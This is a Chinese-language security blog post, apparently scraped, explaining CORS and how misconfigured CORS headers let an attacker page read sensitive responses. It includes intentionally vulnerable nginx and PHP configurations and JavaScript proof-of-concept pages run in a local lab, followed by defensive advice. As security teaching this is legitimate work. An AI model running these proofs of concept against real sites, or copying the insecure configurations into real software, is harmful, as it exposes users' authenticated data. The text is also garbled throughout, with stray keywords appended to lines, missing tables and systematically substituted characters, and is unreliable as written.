淺析CORS攻擊及其挖洞思路

0x1 CORS機制

CORS全名跨域資源共享(Cross-Origin-Resourece-sharing),該機制主要是解決瀏覽器同源策略所帶來的不便,使不一樣域的應用可以無視同源策略,進行信息傳遞。javascript

引用一張圖能很好地說明CORS機制的做用php

0x2 CORS機制實現

那麼這個機制是怎麼發揮做用的呢?html

CORS的標準定義是:經過設置http頭部字段,讓客戶端有資格跨域訪問資源。經過服務器的驗證和受權以後,瀏覽器有責任支持這些http頭部字段而且確保可以正確的施加限制。

爲了更好理解這個過程,咱們首先了解下相關的http頭部字段java

請求頭linux

說明nginx

響應頭正則表達式

說明chrome

那麼這個機制,具體能夠總結爲下面這個圖片json

全部的請求實際上都已經發出了,只不過瀏覽器解析的時候根據返回的http頭部字段來選擇性攔截了而已。後端

0x3 如何配置CORS

0x3.1 配置中間件nginx實現CORS跨域

這個點我就從網上經典的例子來找的,其實默認這樣設置存在不少問題,0x4的時候我會講相應的攻擊思路

我當時google了一下搜索nginx配置跨域CORS)

經典配置一:

location / {  
    add_header Access-Control-Allow-Origin *;
    add_header Access-Control-Allow-Methods 'GET, POST, OPTIONS';
    add_header Access-Control-Allow-Headers 'DNT,X-Mx-ReqToken,Keep-Alive,User-Agent,X-Requested-With,If-Modified-Since,Cache-Control,Content-Type,Authorization';

    if ($request_method = 'OPTIONS') {
        return 204;
    }
}

經典配置二:

location / {  
        add_header Access-Control-Allow-Origin $http_origin;
        add_header Access-Control-Allow-Methods GET,POST,OPTIONS;
        add_header Access-Control-Allow-Credentials true;
        add_header Access-Control-Allow-Headers DNT,X-CustomHeader,Keep-Alive,User-Agent,X-Requested-With,If-Modified-Since,Cache-Control,Content-Type;
        add_header Access-Control-Max-Age 1728000;
}

比較合理的配置方案(加上白名單檢查):

location / {
   # 檢查域名後綴 這裏進行了檢查
   if ($http_origin ~ .test.com) {
        add_header Access-Control-Allow-Origin $http_origin;
        add_header Access-Control-Allow-Methods GET,POST,OPTIONS;
        add_header Access-Control-Allow-Credentials true;
        add_header Access-Control-Allow-Headers DNT,X-CustomHeader,Keep-Alive,User-Agent,X-Requested-With,If-Modified-Since,Cache-Control,Content-Type;
        add_header Access-Control-Max-Age 1728000;
   }
   # options請求不轉給後端,直接返回204
}

0x3.2 單服務PHP簡單控制頭部方式

當年某一個SSRF的漏洞,我就是天真的沒有設置跨域請求,不熟悉,致使丟失了一血,很是遺憾哇。

1.容許全部源

<?php
header("Access-Control-Allow-Origin: *");
?>

2.容許來自特定源的訪問

<?php
header('Access-Control-Allow-Origin: '.$_SERVER['HTTP_ORIGIN']);
?>

3.配置多個訪問源

<?php
$allowed_origins   = array(  
                            "http://www.example.com"   ,  
                            "http://app.example.com"  ,  
                            "http://cms.example.com"  ,  
                          );  
if (in_array($_SERVER['HTTP_ORIGIN'], $allowed_origins)){    
    @header("Access-Control-Allow-Origin: " . $_SERVER['HTTP_ORIGIN']);  
}
?>

0x3.3 ...

還有至關多的方式,具體能夠參考Nginx 經過 CORS 實現跨域

0x4 攻擊CORS的思路

0x4.1 一次失敗的例子

這裏我本身寫一個簡單的存在CORS漏洞的服務爲例子展現如何對此進行攻擊(其實沒辦法攻擊)。

<?php
header("Access-Control-Allow-Origin: *");
$value = "mySecretIs123456";
setcookie("pass",$value, time()+3600*24);
?>
<!DOCTYPE html>
<html>
<head>
    <script>
    window.onload = function(){
        document.body.innerHTML = document.cookie;
    }
    </script>
</head>
<body>
</body>
</html>

能夠看到咱們直接把cookie回顯給了頁面,當時我挖掘騰訊的時候就遇到這樣的一個例子

可是沒想着怎麼去利用,而後給忽略了,不過當時好像也沒開cors配置,畢竟是個test站點。

回到正題上,咱們該怎麼對此進行攻擊呢。

這裏咱們編輯下/etc/hosts,增長兩條解析記錄

127.0.0.1 victim.com
 26 127.0.0.1 attack.com

exp.php:

<html>
<head>
    <script type="text/javascript">
        window.onload = function cors() {
        var xhttp = new XMLHttpRequest();
        xhttp.onreadystatechange = function() {
        if (this.readyState == 4 && this.status == 200) {
        document.getElementById("demo").innerHTML =
        alert(this.responseText);
        }
        };
        xhttp.open("GET", "http://victim.com:8888/cors/vuln.php", true);
        xhttp.send();
        }

    </script>
</head>
<body>
    <textarea id="demo"></textarea>
</body>
</html>

而後咱們僞裝受害者去訪問下:

結果返回的是html的源代碼,沒辦法獲取dom以後的結果,這其實也在個人意料之中由於瀏覽器不會去解析資源內容再返回,歡迎師傅們談下這類型的信息泄漏有啥利用的思路。

0x4.2 API接口信息獲取

這裏分爲兩種狀況:

第一種是無需cookie的,這種通常能夠利用在好比限制了ip的waf,讓管理員去請求敏感頁面獲取相應資源。

漏洞代碼以下:

apiVuln.php

<?php
header("Access-Control-Allow-Origin: *");
header("content-type:application/json");
$info = array('user'=>'xq17', 'pass'=>'123456');
echo json_encode($info); //json_encode對變量進行 JSON 編碼

攻擊代碼以下:

<html>
<head>
    <script type="text/javascript">
        window.onload = function cors() {
        var xhttp = new XMLHttpRequest();
        xhttp.onreadystatechange = function() {
        if (this.readyState == 4 && this.status == 200) {
        document.getElementById("demo").innerHTML =
        alert(this.responseText);
        }
        };
        xhttp.open("GET", "http://victim.com:8888/cors/apiVuln.php", true);
        xhttp.send();
        }

    </script>
</head>
<body>
    <textarea id="demo"></textarea>
</body>
</html>

第二種是發送cookie利用登錄信息,而後請求鑑權的api獲取敏感數據。

vuln.php

<?php
header("Access-Control-Allow-Origin: *");
session_start();

if(@$_SESSION["user"] == "admin"){
    //輸出敏感信息
    $info = array('user'=>'xq17', 'pass'=>'123456');
    echo json_encode($info);
}else
{
    echo "login fail!";
    echo '<a href="login.php">登錄</a>';
}
?>

login.php

<?php
session_start();
$_SESSION["user"]="admin";
header("Location:vuln.php");

這裏咱們準備下兩個頁面,當咱們嘗試利用這樣的poc來攻擊的話

<html>
<head>
    <script type="text/javascript">
        window.onload = function cors() {
        var xhttp = new XMLHttpRequest();
        xhttp.onreadystatechange = function() {
        if (this.readyState == 4 && this.status == 200) {
        document.getElementById("demo").innerHTML =
        alert(this.responseText);
        }
        };
        xhttp.open("GET", "http://victim.com:8888/cors/vuln.php", true);
        xhttp.withCredentials = false;
        xhttp.send();
        }

    </script>
</head>
<body>
    <textarea id="demo"></textarea>
</body>
</html>

咱們訪問 http://victim.com:8888/cors/vuln.php,而後點擊登錄獲取到登錄信息,而後咱們僞裝成受害者點擊http://attack.com:8888/cors/exp.php

能夠看到這個接口是須要登錄信息的

可是若是咱們修改vuln.php成這樣子呢

header("Access-Control-Allow-Origin: *");
header("Access-Control-Allow-Credentials: true");

能夠看到cookie的確發送了,也返回了對應的json數據,可是卻沒有被腳本接收到,由於腳本接收到數據得先問下瀏覽器支持不,咱們能夠看下console就能夠發現被禁止的緣由了,由於

header("Access-Control-Allow-Origin: *");
header("Access-Control-Allow-Credentials: true");

這樣開啓的跨域確定是不安全的,因此瀏覽器直接ban掉了這種配置方式。

這樣也是不行的,咱們再嘗試修改爲:

header("Access-Control-Allow-Origin: http://attack.com:8888");
header("Access-Control-Allow-Credentials: true");

這樣即可以了獲取到敏感信息了。

最後小結一下:

關鍵判斷是否存在cors漏洞

公有資源:Access-Control-Allow-Origin:*

受權信息:Access-Control-Allow-Credentials: true 同時 Access-Control-Allow-Origin:不爲*

0x5 CORS防護思路

  • 白名單
  • 規範化正則表達式
  • 只容許安全的協議如https
  • 避免使用Access-Control-Allow-Credentials爲True
  • «使用框架的時候注意查看相關文檔的用法,根據上面規則進行更正。

0x6 高效挖掘CORS漏洞的探討

如何有效的探測cors漏洞呢,最簡單的就是咱們僞造一個xhr的請求去測試下能獲取信息不,xhr請求有一個很明顯的特徵字段:Origin,這個也是瀏覽器判斷是否同源的根據。

burp是支持簡單的cors漏洞掃描的

可是誤報率很高,並且也須要本身去手工驗證,這裏我比較推薦

就是咱們本身尋找一些關鍵的api接口,而後咱們讓請求自動添加上Origin而後咱們在看返回包,來判斷這樣的話不但準確並且很方便。

這個實現咱們能夠用burp的替換功能來實現

proxy->options->Match and Replace->Add

勾選上這個便可。

相關文章
相關標籤/搜索